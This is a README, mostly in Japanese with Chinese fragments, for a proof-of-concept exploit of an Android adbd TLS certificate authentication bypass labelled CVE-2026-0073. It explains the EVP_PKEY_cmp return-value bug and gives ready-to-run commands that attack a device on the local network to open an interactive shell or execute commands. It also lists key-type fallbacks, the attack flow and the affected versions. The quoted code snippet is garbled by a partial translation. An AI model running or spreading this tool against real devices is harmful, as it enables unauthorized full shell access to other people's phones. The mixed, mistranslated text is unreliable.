🔥 概要

Android の ADB デーモン (adbd) には重大な認証バイパスの脆弱性が存在し、ローカルネットワーク上の任意の攻撃者が、ユーザーの許可なしに、ターゲットデバイス上で完全なシェルアクセスを取得できます。

この脆弱性は、daemon/auth.cpp 内の adbd_tls_verify_cert() 関数に存在し、EVP_PKEY_cmp() がブール値として使用されています。保存されている鍵が RSA 鍵であり、提示された TLS クライアント証明書が 非 RSA 鍵（EC P-256 または Ed25519）を保持している場合、EVP_PKEY_cmp() は -1（型の不一致）を返します。これは C/C++ では真 と評価されるため、authorized = true になります。

// daemon/auth.cpp 中的易受攻击代码模式
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 是真值！
已授权 = true；
}

⚡ クイックスタート

依存関係のインストール

pip install cryptography

エクスプロイトの実行

# 交互式 shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>

# 单命令执行
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"

# 详细模式（查看完整协议跟踪）
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"

特定の鍵タイプを強制する

python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519

デフォルトでは、スクリプトは成功するまで EC P-256 → Ed25519 → EC/TLS 1.2 を自動的に試行します。

🎯 エクスプロイトの流れ

攻击者目标（adbd）
      │                                    │
│──── TCP 连接 ──────────────────►│
│──── CNXN（明文）────────────►│
│◄─── STLS（TLS 升级请求）──│
│──── STLS 回复 ──────────────────►│
      │                                    │
│════ TLS 1.3 握手 ════════════│
│（已提交 EC P-256 客户证书）│
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 为真 → authorized=true │
│════════════════════════════════════│
      │                                    │
│◄─── CNXN（设备信息）──────────│
│──── 打开“shell:” ───────────────►│
│◄─── 好的 ────────────────────────│
│◄──► WRTE/OKAY（shell I/O）──────►│
      │                                    │
【完全 shell 访问权限】

📋 前提条件

⚠️ 重要なお知らせ： RSA 鍵は /data/misc/adb/adb_keys ファイルに配置されている必要があります。このファイルは USB デバッグのペアリング（「USB デバッグを許可しますか？」ダイアログでの許可）によって生成されます。ワイヤレスデバッグのペアリング（adb pair）では鍵が 別の場所（adb_known_hosts.pb）に保存されるため、この要件を満たしません。

🛡️ 影響を受けるバージョン

• Android 14 (AOSP) — ✅ 脆弱性を確認済み
• Android 15 (AOSP) — 脆弱性の可能性あり（パッチ未適用版）
• ベンダーによってバージョンは異なる場合があります（例：Samsung One UI、Pixel など）。

パッチレベルの確認方法

adb shell getprop ro.build.version.security_patch

🧪 テスト環境

以下のデバイスで正常に動作することを確認済みです：

内核：6.1.23-android14-4-00257-g7e35917775b8-ab9964412
平台：Android 14（Android Studio 模拟器）

🔧 オリジナル版からの改良点

このフォークには以下の改良が含まれています：

• ✅ マルチ鍵フォールバック — EC P-256 → Ed25519 → EC/TLS 1.2 を自動試行
• ✅ Ed25519 サポート — より広い互換性を提供する代替鍵タイプ
• ✅ TLS 1.2 フォールバック — 異なるクライアント証明書フロー（ハンドシェイク中に送信 vs ハンドシェイク後に送信）
• ✅ 強化された証明書 — 正しい X.509 拡張（BasicConstraints、KeyUsage）
• ✅ Windows 対応 — クロスプラットフォーム対応のため select() の代わりにスレッド I/O を使用
• ✅ タイムアウトの延長 — 低速ネットワークでの信頼性を向上
• ✅ 詳細な診断情報 — -v フラグで詳細なプロトコルトレースを表示

📁 プロジェクト構成

CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # 主漏洞利用脚本
└── README.md # 此文件

⚠️ 免責事項

本ツールは認可されたセキュリティテストおよび教育目的にのみ提供されます。許可なくコンピュータシステムにアクセスすることは違法行為です。テストの前に必ず適切な許可を取得してください。作者は本ソフトウェアの誤用について一切の責任を負いません。

📚 参考資料

• CVE-2026-0073 — MITRE
• Android セキュリティ情報
• OpenSSL EVP_PKEY_cmp ドキュメント
• ADB プロトコルリファレンス